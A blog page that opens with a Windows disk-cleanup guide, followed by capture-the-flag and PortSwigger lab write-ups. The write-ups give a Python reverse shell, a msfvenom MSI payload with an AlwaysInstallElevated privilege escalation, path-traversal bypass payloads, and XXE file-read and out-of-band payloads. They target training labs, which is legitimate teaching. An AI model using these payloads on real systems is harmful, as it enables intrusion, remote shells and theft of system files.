CyberiumX - CyberiumX

Optimizing Windows Performance

For Windows to keep functioning smoothly and effectively, storage space must be cleared. As you use your personal computer, numerous files generate, through important hard disk space. Removing unused and transient files from a storage location can enhance overall speed and make way for more important data. It will help in optimizing windows.

Importance of Windows optimization for Cyber Security

There are various advantages of clearing Windows space for optimization in terms of Cyber Security. Sensitive data is protected by deleting temporary files, cache, and unneeded apps, as well as the attack on the system is decreased. The system’s capacity to identify and stop cyber-attacks is strengthened through quicker software updates and better-performing security technologies. The danger of data loss is lower when space is regularly cleared, and proactive defense tactics are encouraged. While maximizing Windows space is beneficial for online safety, it should be a part of a broader security strategy that also involves using strong passwords, staying up to date with software, and educating users about online dangers. Also, apart from online safety, it is necessary to have storage space on our windows machine to setup virtualization for penetration testing. Penetration testing requires many applications and tools which are heavy in size. In order to setup a penetration testing environment, we need windows storage optimization.

You can perform the following actions to free up space for storage in Windows:

1. Clearing windows cache and windows temp files

A crucial step in freeing up storage space and improving your computer’s speed is deleting temporary files. Various programs and processes generate temporary files as part of routine operation. To speed up particular activities or enhance user experience, they are used to store data that is temporary or cache. But gradually, such temporary files can build up and take the important disk space, thereby slowing down your machine.

Why Delete Temporary Files:

Temporary files are build up over time and occupy a sizable amount of disk space as they are continuously updated and produced. Clearing temporary files can have the following advantages:

Free up storage space: You can make precious hard drive space available by deleting pointless temporary files, giving you more room for crucial documents and programs.
System performance improvements: Your computer’s performance may be slowed down by a cluttered disk. Your system’s overall speed and performance can be enhanced by removing temporary files.
Resolve program problems: Corrupt or out-of-date temporary files may result in program conflicts and problems. These files can be deleted to help with some software-related problems.
Enhanced privacy: By clearing your browser’s temporary files and cache, you can prevent your computer from keeping confidential information like login information and browsing history.

How to Delete Temporary Files:

As previously noted, you may use the Disk Cleanup application to remove temporary files from Windows. There are, however, additional techniques you can employ:

A. Using Disk cleanup software– The Disk Cleanup program has a few simple procedures that must be followed in order to remove temporary files from Windows:

Launch Disk Cleanup: Click the “Start” button or hit the “Windows key” to open the Disk Cleanup program. Then, type “Disk Cleanup” into the search box. Disk Cleanup can be chosen from the search results to launch the tool.

Choosing the target drive: You will be prompted by Disk Cleanup to select the drive you want to clean up. The system drive (C:) is typically chosen. Select the drive, then select “OK”.
Analysis and Cleanup Start: The tool will now examine the drive to find removable files. A list of file categories that are suitable for cleanup will be shown following the analysis.
Select Temporary Files: In the Disk Cleanup box, look for the “Temporary files” category, which includes temporary files generated by operating systems and programs. To include temporary files in the cleanup procedure, tick the box next to “Temporary files”. You can also choose to clean out additional file types, such as “Temporary Internet Files” or “System error memory dump files” if you like.

Commence Cleanup: Once you’ve chosen the file categories, click “OK” or “Delete Files” to start the cleanup process. You’ll see a confirmation popup asking for your approval before continuing.
Wait for the cleanup completion: The Disk Cleanup tool will then start eliminating the chosen temporary files. Depending on the data that needs to be eliminated, the process’s duration will change.
Successful cleanup: A dialogue box displaying the amount of space freed up will appear after completion. Click “OK” to exit the dialog box.

B. Manually Deleting Temporary Files:

Launch the Run dialogue box by pressing the Windows key + R.
Enter the text %temp%. This opens the temporary files folder called Temp which stores the temporary files for the logged in user.

Ctrl + A to select all files, then remove them. It is typical for some files to be in use and unable to be erased. You can leave those files.

Again launch the Run dialogue box by pressing the Windows key + R.
Enter the text temp. This opens the temporary files folder called Temp.

Ctrl + A to select all files, then remove them. It is typical for some files to be in use and unable to be erased. You can leave those files.

Again launch the Run dialogue box by pressing the Windows key + R.
Enter the text prefetch. This opens the temporary files folder called Prefetch.

You might be asked for the Administrator’s permission to access the folder. Please click on “Continue”.
Ctrl + A to select all files, then remove them. It is typical for some files to be in use and unable to be erased. You can leave those files.

2. Clearing GPU cache to improve windows gaming performance and storage:

If you have speed problems, stumbling, or frame rate reductions while playing games on Windows computers, you may benefit from clearing the GPU (Graphics processing unit) cache. Your graphics card’s GPU cache is a storage area used to keep data that is frequently used for quicker retrieval during rendering processes. But after time, the cache may fill up or turn stale, which will slow down games. These problems can be resolved, and overall gaming performance can be enhanced, by clearing the GPU cache. Here’s how to get started:

Restart Your Computer: Restarting your computer can sometimes clear the GPU cache and fix small performance issues. The GPU cache is cleared when you restart, and your graphics card starts from scratch.
Update Graphics Drivers: Ensure that the drivers for your graphics device are current. Manufacturers frequently provide driver updates to improve compatibility with the newest games, correct bugs, and optimize performance. The most recent drivers are available for download on the official web page of the company that makes your GPU (such as NVIDIA, AMD, or Intel).
Modify Graphics Settings: Especially on older or weaker GPUs, reducing the in-game graphics settings can greatly enhance gaming performance. To minimize the GPU workload, lower settings for resolution, texture quality, shadows, and anti-aliasing.
Keep an eye on the GPU temperature: Overheating can affect a game’s performance. Use programs like MSI Afterburner or HWMonitor to keep track of your GPU temperature and make sure it stays within acceptable ranges. Clean the graphics card and make sure your computer case has enough ventilation if the GPU is running too hot.
Look for background processes: Make sure no resource-hungry background processes or programs are running while you game. The GPU’s capacity to produce frames effectively can be impacted by other apps using a lot of CPU or disk space.
Use Gaming Mode (Windows Game Bar): Windows 10 comes with a “Gaming Mode” that enhances system performance while gaming. To access the Game Bar and turn on Gaming Mode, use the Windows key + G.
Delete Shader Cache: Shader data is now stored in a cache on modern graphics cards for quick access while rendering. Performance issues can occasionally be resolved by clearing the shader cache.

For AMD and NVIDIA graphics cards, follow these steps:

For graphics cards made by NVIDIA:

To get to the NVIDIA Control Panel, do right-clicking on the desktop and choose “NVIDIA Control Panel”.
Go to the left-hand window and select “Manage 3D settings”.
Scroll down to “Shader Cache” under the “Global Settings” tab and select “Delete”.

When asked to confirm the deletion, do so.

For graphics cards made by AMD:

A shader cache is used by AMD graphics cards and is kept in the “AMD” folder of the “Local” app data directory. Typically, the location is C:\Users\your_username\AppData \Local\AMD\DxCache.
Any active GPU-using programs or games should be shut down.
Go to the aforementioned AMD folder and remove everything from it. Just the files inside the folder should be deleted, not the folder itself.

Keep in mind that, while cleaning the GPU cache and optimizing settings can assist boost gaming performance, the final result also depends on your hardware’s capabilities. Consider updating your graphics card or other components to meet the requirements of contemporary games if you are still having serious performance problems.

3. Removing old windows updates

Removing outdated Windows updates might help your computer clear up space while also potentially resolving conflicts between updates or faulty update files. Windows updates are crucial for maintaining the security and most recent features and upgrades on your PC. But over time, especially when you have a little amount of storage, these upgrades can add up and take up a lot of disk space. This is how to uninstall previous Windows updates:

Before continuing, it’s important to realize that deleting outdated Windows updates may prevent you from doing so in the future. Although it is normally safe to remove outdated updates, doing so could impede your capacity to go back in time if necessary. Before making any big changes to your system, it’s usually a good idea to create a backup of your vital data because uninstalling updates could not be reversible.

Using the Disk Cleanup software: The Disk Cleanup utility can assist you in deleting unused data, such as outdated Windows updates. Use it as follows:

To see the Run dialog box, press Windows + R.
Input cleanmgr, then hit Enter or click OK.

Click OK after selecting the drive (often C:) on which Windows is installed.

Your ability to free up space will be determined by the utility. Select “Clean up system files” from the “Disk Cleanup” window’s menu.

Once more, choose the drive (often C:) on which Windows is installed, and then click OK.
Wait for the utility to determine the amount of space that can be released. This could take some time.
Scroll down the list of files to delete to the entry under “Previous Windows installations” or “Windows Update Cleanup”. There is a checkbox next to it.

You might also look into other things you want to get rid of, including temporary files or system cache.
To confirm the deletion of previous Windows updates and the additional files you’ve chosen, click OK and then click Delete Files.

Manually deleting windows update files: If disk cleanup doesn’t completely remove all the old windows updates, you can:

To see the Run dialog box, press Windows + R.
Enter C:\Windows\SoftwareDistribution. Press Enter.

This will launch the “Download” folder, which contains files for Windows updates.

Ctrl + A to select all items in the “Download” folder and remove them all. To achieve this, you might require administrator rights.
When asked to confirm the deletion, do so.

Please take note that your machine could no longer have those exact updates after uninstalling outdated Windows updates. New updates, however, will be downloaded and installed as usual as they become available.

Removing outdated Windows updates is not always a sure fix for performance or disk space concerns, so keep that in mind. Consider other elements such as system hardware, program conflicts, or the requirement for system maintenance and optimization if issues persist.

Remember that although deleting outdated Windows updates is often secure, doing so prevents you from ever uninstalling them again. You won’t be able to restore a state using those particular updates after uninstalling outdated updates. However, regular download and installation of new updates will continue.

4. Removing old programs from windows

An important task that helps clear up storage space and maintains your system is removing outdated programs from Windows. On your computer, you might install a variety of programs throughout time, some of which might not be used or needed anymore. In addition to freeing up disk space, uninstalling outdated programs helps enhance system efficiency. Here’s how to uninstall outdated softwares from Windows:

A. Using Control Panel: The Control Panel is the standard technique for uninstalling programs on Windows. Take these actions:

Windows OS versions 10 and 11:

Go to the context menu by right-clicking the Start button and then selecting “Installed apps”.
You can view a list of installed programs by visiting this settings

Find the program you wish to uninstall by scrolling down the list.
Then select the program you want to remove, click the options icon (…) and select “Uninstall”
To finish the removal process, adhere to the on-screen instructions.

Microsoft Windows 7:

Control Panel can be found by right clicking on the Start menu.
Click Programs and Features under Programs in the Control Panel.

A list of the installed programs will be displayed. Double click the program name to uninstall the program.
To finish the removal, adhere to the on-screen directions.

B. Making use of Windows settings (Windows 10 and Windows 11):

Programs can also be removed using the Settings app in Windows 10 and Windows 11. How to do it is as follows:
By pressing the Windows key + I or by clicking the Start button and choosing the Settings icon, you can access the Settings app.
Click on Apps in the left-hand sidebar of the Settings box and then on “Installed apps”.

A list of the installed apps and programs will be displayed. Click the Uninstall button after finding the item you wish to get rid of.
To finish the uninstallation procedure, adhere to the on-screen directions.

C. Utilizing uninstaller software

For eliminating outdated programs, you can also use third-party uninstaller programs that provide more sophisticated functionality. Revo Uninstaller, IObit Uninstaller, and Geek Uninstaller are a few well-known uninstaller programs. These utilities can assist you in completely uninstalling programs, including any residual files and registry entries that the default Windows removal process can leave behind.

D. Removing Windows Store Apps:

For Windows 10 and Windows 11 users, you can also remove Windows Store apps from the Settings app or directly from the Start menu. Right-click the app tile or icon and select Uninstall.

Before uninstalling a program, make sure that you no longer need it and that it does not affect the functionality of other software. Additionally, we recommend backing up important files and settings before making any major changes to your system. Regularly removing obsolete programs keeps your computer running smoothly, keeps it organized, and leaves enough disk space for the programs you actually use.

5. Removing large files in windows

It’s crucial to locate huge files in Windows in order to discover and manage disk space more efficiently. Thankfully, Windows comes with tools and capabilities that make it easy to locate huge files quickly. Here’s how to locate big files on a Windows machine.

Using File Explorer:

By arranging files by size in Windows File Explorer, you may find huge files. This is how it’s done:

Either click the File Explorer icon in the taskbar or press Windows Key + E to launch File Explorer.
Navigate to the location on the drive or folder where the huge files are located.
Click the search icon in File Explorer’s upper right corner and type the following search term: size:gigantic

File Explorer shows all Large files (you can enter specific file size such as “size:largerthan:500MB” to customize the size filter to your liking).
Look at the list of large files and decide if they should be kept or deleted.

6. Setting up windows storage sense

A simple solution to automatically manage storage space on your Windows computer is to set up Windows Storage Sense. By deleting superfluous things including temporary files, out-of-date Windows updates, and files in the Recycle Bin, Storage Sense helps free up disk space. Additionally, it has the ability to remove “Downloads” folder files that haven’t been edited in a certain amount of time. How to configure Windows Storage Sense is as follows:

Open the settings: To launch the Windows Settings app, press Windows key + I. As an alternative, you can select the Start button, then select the Settings
In the Settings window, select System.
Click Storage in the left-hand sidebar of the System
You may obtain a summary of your storage consumption in the Storage settings. In that section, look for Storage Sense.

Toggle the switch next to “Storage Sense” to “On” to activate the feature.
By clicking on “Storage Sense” option after enabling Storage Sense, you can modify its settings.
You can choose how frequently you want Storage Sense to run and clear space in the settings options. You have the following selections:

Off: Storage Sense won’t launch on its own, but you can still launch it manually when necessary.

Every day: Storage Sense will be activated to remove unused files.

Every Week: Storage Sense will operate once every week.

Every Month: Storage Sense will operate once per month.

You can select the types of files that Storage Sense should clean up by making your selections below the options for cleanup frequency. It will be configured by default to delete temporary files and files from the recycle bin.
Additionally, you can select the number of days after which files in the Downloads folder will be erased if they haven’t been edited by toggling on “Delete files in my Downloads folder that haven’t changed for over”.

Once you’ve configured the Storage Sense options to your preference, you can close the Settings window, and Storage Sense will now automatically clean up unnecessary files based on your chosen settings.

Storage Sense is a useful feature that helps you manage your storage space automatically, ensuring your computer runs smoothly and efficiently. By regularly cleaning up unnecessary files, you can avoid running out of disk space and keep your system organized.

In conclusion, improving Windows performance by deleting unused files and clearing the cache has considerable advantages for both system effectiveness and cyber security. By reducing vulnerabilities, protecting sensitive data, and encouraging a pro-active defense approach, doing these maintenance chores on a regular basis helps to create a more secure computing environment. It also improves security tools, minimizes the attack surface, and makes storage space available, all of which increase the system’s resistance to online assaults. Adopting these optimization techniques guarantees a smoother and safer computing experience, shielding users from potential dangers while improving the overall performance and health of the system.

You can check out our other blogs here.

Stay Safe!!

Team CyberiumX

TryHackMe- Weasel

Hello folks,

This blog focuses on a recently added machine called “Weasel” within “TryHackMe” Platform. It has been classified as a Medium-level challenge. This machine will help you to understand Pivoting and Windows Privilege escalation. Let’s proceed without any delay and begin the penetration testing process.

You can access the machine here on TryHackMe.

First of all let’s start the machine by clicking on “Start Machine”. Scan the obtained IP using the tool “NMAP”.

nmap –sV -sC <Machine_IP>

There are a total 6 TCP ports open. The important ones are SSH(22), SMB(445), RDP(3389) and HTTP(8888). Here, SSH looks very interesting as normally on windows machines we do not see this port open. Let us start the enumeration from HTTP and SMB protocols.

On the HTTP port, we can see a Jupyter Notebook login page which requires either a password or a token to login.

I tried gobuster as well but didn’t get any interesting directory. There is nothing else that we can find on the webpage.

Let’s now target SMB service and look for some shares. We can use smbmap to check the permissions on available shares and then smbclient to connect to the shares using following command:

smbmap -H <Machine_IP> -u “CyberiumX”

We can see that we have some shares available out of which the datasci-team looks promising. So let’s connect to it using following command:

smbclient //<Machine_IP>/datasci-team

We can see there are many files and directories available in the share. We need to check all of them to get something interesting.

So after looking into every file and directory, I found something which will allow us to login through the Jupyter notebook. There is a file in misc directory named “jupyter-token.txt”. Let’s download it and read the contents of it.

We can see that we have a token which might allow us to login. Let us go to the web application and login with the token we have. Yes!!! We are logged in and we have the dashboard of a Jupyter notebook.

Initial Foothold on Weasel

Now, we need to find a way to get a foothold from here. Let us see how the Jupyter notebook works.

There is a “New” option which can create a new python3 notebook, so I clicked on it and tried to execute a simple python3 code. So we can confirm that it helps us to execute any malicious reverse shell code written in Python3. Let’s use the following code to get the reverse shell:

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<Your_IP>”,1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)

And use netcat to start listening.

nc –nlvp 1337

We can see that we have gained our foothold on a Linux machine. But wait…wasn’t it supposed to be a Windows machine? Ahh!!! We have to pivot our way to it.

Pivoting on Weasel

Let’s upgrade the shell and find our way out of it.

I moved to the home directory of dev-datasci user. There, I found a file with the name “dev-datasci-lowpriv_id_ed25519”. I read the contents of it and it looked like a private key for SSH.

We know that we have SSH protocol running on the target windows machine, so it might help us to Pivot on our windows machine. Let’s try it out.

Let’s create a file on our machine with any name and paste the contents of the dev-datasci-lowpriv_id_ed25519 file on our new file. Also we will provide required permission to our private key file.

nano id_rsa

chmod 600 id_rsa

Now, we will use the ssh command to get access to the windows machine. But wait a second, for which user are we going to take the access? So, I tried ssh for dev-datasci and dev-datasci-lowpriv users and finally I got access using the second one.

ssh -i id_rsa dev-datasci-lowpriv@<Machine_IP>

Sweet!!! We have successfully accessed our target windows machine. Let’s get the contents of user.txt and move forward to get System access.

Privilege Escalation on Weasel

Let us upload WinPeas on our target machine to get possible ways for privilege escalation. We will use Python3 HTTP server on our machine to host the file and certutil to download the file on our windows machine using following commands:

python3 –m http.server 1234

certutil -urlcache -f http://<Your_IP>:1234/winPEASany_ofs.exe winPEAS.exe

We will execute the winPEAS.exe file by simply typing

winPEAS.exe

It’s always helpful to put the output of WinPEAS in a file so that we can review it further using the following command:

winPEAS.exe > winpeas.txt

Now let’s read out the output of winPEAS and try to look for possible ways to escalate the privilege.

In order to read the contents of the whole WinPEAS file in our terminal window, I used the Terminator tool as it has an option for infinite scroll-back which will help you a lot.

So after searching for juicy info in the output, I finally found two important and critical pieces of information which might help us to escalate privileges.

First one is a vulnerable functionality named “AlwaysInstallElevated” which allows any low privilege user to execute MSI (MicroSoft Installer) files with SYSTEM privileges.

Secondly, we got the password for our current logged in user “dev-datasci-lowpriv”

Also, we can simply confirm about AlwaysInstallElevated functionality by querying the windows registry as follows:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

We can see that this registry path exists on the system which confirms that this functionality exists.

Now in order to exploit it, we need to create a malicious MSI file which is very simple with msfvenom. Let us use the following command to create it:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=4444 -f msi > cyberiumx.msi

Also let’s create the metasploit listener for the same using following commands:

msfconsole

use exploit/multi/handler

set payload windows/x64/shell_reverse_tcp

set lhost <Your_IP>

set lport 4444

exploit

Now we will create Python3 HTTP server to host the malicious msi file and certutil to download the file on windows as follows:

python3 –m http.server 1234

certutil -urlcache -f http://<Your_IP>:1234/cyberiumx.msi cyberiumx.msi

Let’s execute the malicious msi file in order to get reverse shell using following command:

msiexec /qn /i c:\Users\dev-datasci-lowpriv\cyberiumx.msi

We will find that it will not provide the reverse shell.

We need to run the same command using another windows utility called “runas” which allows you to run any specific command on the behalf of any user whose password you have. We know the password of dev-datasci-lowpriv user so we can simply execute the malicious msi file using runas command as follows and then provide the password for the user:

runas /user:dev-datasci-lowpriv “msiexec /quiet /qn /i C:\Users\dev-datasci-lowpriv\cyberiumx.msi”

Wooooh!!! We got the reverse shell within a few seconds. You can confirm that we are System user using whoami command and can read the contents of root.txt using following command:

type C:\Users\Administrator\Desktop\root.txt

Weasel was another amazing Windows machine by TryHackMe. Getting initial access was pretty simple and pivoting and privilege escalation was very informative.

I hope that you guys enjoyed and find this write-up interesting.
You can check out our other write-ups related to TryHackMe over here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger- Path Traversal Vulnerability

Hello folks,

This blog focuses on how we can identify and exploit Path Traversal vulnerabilities on websites. This is also known as Directory Traversal vulnerability. In this blog, I will be providing a detailed walkthrough of all PortSwigger’s Lab on Path Traversal. I am assuming that you guys have basic knowledge of it.

You can check out the Portswigger’s labs for Path Traversal vulnerability here.

Let’s proceed without any delay and begin the penetration testing process.

Lab 1- File path traversal, simple case

In this lab scenario, we will be looking at a simple case of Path Traversal without any defense in place. The rule 1 in order to exploit this vulnerability is to look for GET parameters and then try to add dot dot slash combinations (../) to access other files stored on the server.

Let’s access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on “View details” button of any product and find that there is a “productId” parameter on the URL but if you try to include the ../ combinations, you will find that it is not vulnerable to path traversal.

We will keep on looking for some other parameters. If we open the image in the new tab by right clicking on the image and selecting the “Open image in new tab” option, we will find that there is another parameter named “filename” which might be vulnerable to path traversal.

Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

And we can see that it worked as we have a small image in our browser.

Now in order to see the passwd file we can simply add view-source: in front of the whole URL and it will help us to see the source code of the webpage which will show the contents of the passwd file.

This will help us to solve the lab.

Lab 2- File path traversal, traversal sequences blocked with absolute path bypass

Many web applications will implement some common obstacles to prevent Path traversal vulnerability but these defenses can be circumvented. Here in this scenario, we will be exploring a bypass technique using the absolute path of the file that we want to read.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Now we will simply remove the path traversal sequence and directly provide the absolute path of the file that we want to read as follows:

filename=/etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 3- File path traversal, traversal sequences stripped non-recursively

In this scenario we will understand another obstacle which we might find in real-time websites. The web application can filter out dot dot slash (../) combinations in order to stop path traversal attack. Let us understand what we can do to easily bypass it.

Access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us now add the nested path traversal sequences like ….// or ….\/ which will work as the inner sequence will be filtered out and rest will help you to read the contents of system files. So the payload will be:

filename=….//….//….//….//….//….//….//etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 4- File path traversal, traversal sequences stripped with superfluous URL-decode

In this scenario, we will learn another concept to bypass the obstacles for path traversal vulnerability by simply encoding the ../ characters using URL encoding. Let us understand the concept.

Access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. So the payload will be:

filename=../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us now URL encode the ../ combination and use it as follows in order to bypass it:

filename= %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f/etc/passwd

Here, %2e%2e%2f is the URL encoding of ../ sequence. After using this payload, we will find that again we are still getting the same error.

Let us now try to perform double URL encoding on our payload as follows:

filename=%252e%252e%252f %252e%252e%252f %252e%252e%252f %252e%252e%252f %252e%252e%252f/etc/passwd

Here %252e%252e%252f is the double URL encoding of ../ sequence. We will find that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 5- File path traversal, validation of start of path

In this scenario, we will see that the application can also validate the start of file path which will allow us to read those files which will have the same start of path but there is a method through which we can exploit it. Let’s try it out.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. You will find that this time there is a pre-defined path “/var/www/images”. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “Missing parameter filename”.

Let us add the start of path as “/var/www/images” and after that we can add the same ../ sequence to read the contents of /etc/passwd file as follows:

filename=/var/www/images/../../../etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 6- File path traversal, validation of file extension with null byte bypass

Sometimes, the application might check the extension of the file which you asked for and if that extension is not the expected one then we need to add the extension at the end of the file with null byte character (%00). Let’s find out how we can bypass this restriction.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. Note the allowed extension of the image file. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us add the null byte character (%00) at the end and after that we will add the expected file extension which is jpg as follows:

filename=../../../../../../../etc/passwd%00.jpg

And we can see that it worked as we have a small image in our browser. Now let us understand how this payload is working. Null byte character is a URL encoded character which means nothing and also we added the jpg extension which will trick the application into sending the request further as the file is ending with the expected extension but the server side code will only consider till passwd as after it we have added the null byte which means the file name ends there.

We discovered many ways to identify and bypass the restriction for path traversal vulnerability. So this was all about Path traversal aka Directory traversal vulnerability.

You can also check out our other blogs here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger- Finding Hidden XXE Attack Surfaces

Hello folks,

This blog will focus on how we canidentify and exploit hidden XXE attack surfaces for XML External Entities (XXE) injection vulnerabilities on websites. Here, I will be providing a detailed walkthrough of PortSwigger’s XXE Attack Practitioner Lab. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the XXE labs on PortSwigger.

Lab-1 Exploiting XInclude to retrieve files

There are many applications which do not directly parse the XML code but instead embed the code in an XML document and then parse the whole document. In these situations, we cannot define and control any entity. But we have a mechanism called XInclude which is used to include subdocuments in the main XML document. So, let’s explore it more.

Access the lab and open Burp Suite in order to identify XXE attack vulnerability. Our web page will open in a while.

In order to identify XXE attacks, we need to find any XML related parameters on our website for which we have to look around and click on different links that we have on the webpage.

Let’s click on the “View Details” button to check out the details of the products mentioned on the home page. Now scroll down, we’ll find a stock check feature which allows us to check out the remaining stock of the product.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by Right clicking on the request and then clicking on the “Send to Repeater” option.

Here we can see that we do not have any XML content in the body of POST request. Instead we have 2 parameters in the body. Let us check by adding an entity in one of the parameters as follows:

%26demo;

I have URL encoded “&” symbol so that it might not consider it as a delimiter.

We can see that we received an error related to entities which is confirming that the value of productId parameter is being parsed to an XML document.

Now let us use the following XInclude payload in order to exploit the vulnerability:

<foo xmlns:xi=”http://www.w3.org/2001/XInclude”>

<xi:include parse=”text” href=”file:///etc/passwd”/></foo>

We got the contents of “/etc/passwd” file in the output.

This will solve the lab as well.

So we can see that by adding XInclude mechanism we can simply include any subdocument in an XML document.

Lab 2- Exploiting XXE attack via image file upload

In some applications we will find that the application will allow us to upload a file with XML related input. There are many extensions which can have XML data in it like docx, svg, etc. Let us find out how we can exploit XXE attack using file upload.

Access the lab and open Burp Suite in order to identify XXE attack vulnerability. Our web page will open in a while.

We will identify any upload functionality on the website. You can see that there are some posts available on the home page. Let’s open one of them and then scroll down, we will find a comment section where there is an upload functionality which allows us to upload any image as our avatar.

Let’s create a malicious svg file using our terminal with following command:

nano image.svg

It will allow us to create a new image file with the name image.svg. Now let us type following content in the file in order to exploit the vulnerability:

<?xml version=”1.0″ standalone=”yes”?><!DOCTYPE test [ <!ENTITY CyberiumX SYSTEM “file:///etc/hostname” > ]><svg width=”128px” height=”128px” xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink” version=”1.1″><text font-size=”16″ x=”0″ y=”16″>&CyberiumX;</text></svg>

Here we want the contents of the “/etc/hostname” file.

Now let us save the file and exit using Ctrl+s and Ctrl+x respectively. We will upload the file in the comment section and post the comment.

Now we will go back to the same post and find our comment mentioned below with an avatar image that we uploaded. Open the image in a new tab and there we will find the contents of the hostname file.

So we can see how we can upload the malicious XML file like images with svg extension. Hence our lab is also solved.

We have completed the XXE injection vulnerability series here on our blog. You can check out our previous blogs on XXE attack here. We will be releasing more vulnerabilities.

Also, you can check out our other blogs on Cyber Security and Penetration Testing here.

Happy Pentesting!!!

Team CyberiumX

Portswigger- Blind XXE Injection

Hello folks,

This blog focuses on how can we identify and exploit Blind XML External Entities (XXE) Vulnerabilities on websites. Here, I will be providing a detailed walkthrough of PortSwigger’s Blind XXE Practitioner Labs. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the XXE labs on PortSwigger.

Lab-1 Blind XXE with out-of-band interaction

There are different lab scenarios that we will perform here. Firstly, we will be detecting Blind XXE using out-of-band (OAST) techniques. So, we can predict that we have to use Burp Collaborator here which is available only on Burp Suite Professional version.

Access the lab and open Burp Suite Professional in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website for which we have to look around and click on different links that we have on the webpage.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by Right clicking on the request and then clicking on the “Send to Repeater” option.

Also, open Burp Collaborator and copy the domain name that it will provide by clicking on “Copy to Clipboard”.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE stockCheck [ <!ENTITY CyberiumX SYSTEM “http://Burp_collaborator_subdomain”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the “ProductId” number to make a call to this entity so that we can get some interaction with the Burp Collaborator subdomain. Send the request and we will get a response as “Invalid product ID”

Now switch to Burp Collaborator window and click on “Poll now” to check for any HTTP or DNS requests which came to the collaborator subdomain.

Great!!! We have successfully identified and exploited the blind XXE vulnerability and solved the lab as well.

Lab 2- Blind XXE with out-of-band interaction via XML parameter entities

In this scenario, we will use parameter entities instead of regular entities unlike we used earlier. Parameter entities are those entities which can only be referenced within the DTD (Document Type Definition)

Access the lab and open Burp Suite Professional in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website for which we have to look around and click on different links that we have on the web page.

Let’s click on the “View Details” button to check out the details of the products. Now scroll down, we’ll find a stock check feature which allows us to check out the remaining stock of the product.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to repeater by Right clicking on the request and then clicking on “Send to Repeater” option.

Also, open Burp Collaborator and copy the domain name that it will provide by clicking on “Copy to Clipboard”

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE stockCheck [<!ENTITY % CyberiumX SYSTEM “http://Burp_collaborator_subdomain”> %CyberiumX; ]>

Here, we can see that we have referenced the entity within the DTD using a percent character (%).

Send the request and we will get a response as “Invalid product ID”

Now switch to Burp Collaborator window and click on “Poll now” to check for any HTTP or DNS requests which came to the collaborator subdomain.

Great!!! We have successfully identified and exploited the blind XXE vulnerability and solved the lab as well.

Lab-3 Exploiting blind XXE to exfiltrate data using a malicious external DTD

In this scenario, we will be getting data on our Burp Collaborator subdomain which is attacker controllable domain. This process is called as exfiltration. Also, we will require another domain which will host our malicious XXE payload. So let us begin the process.

Access the lab and open Burp Suite Professional in order to identify XXE vulnerability. Our webpage will open in a while.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to repeater by Right clicking on the request and then clicking on “Send to Repeater” option.

Also, open Burp Collaborator and copy the domain name that it will provide by clicking on “Copy to Clipboard”. Now we have to open our exploit server and host some payload in a DTD file. First add “.dtd” at the end of the file name and in the body section host a XXE code and provide Burp collaborator’s subdomain as follows:

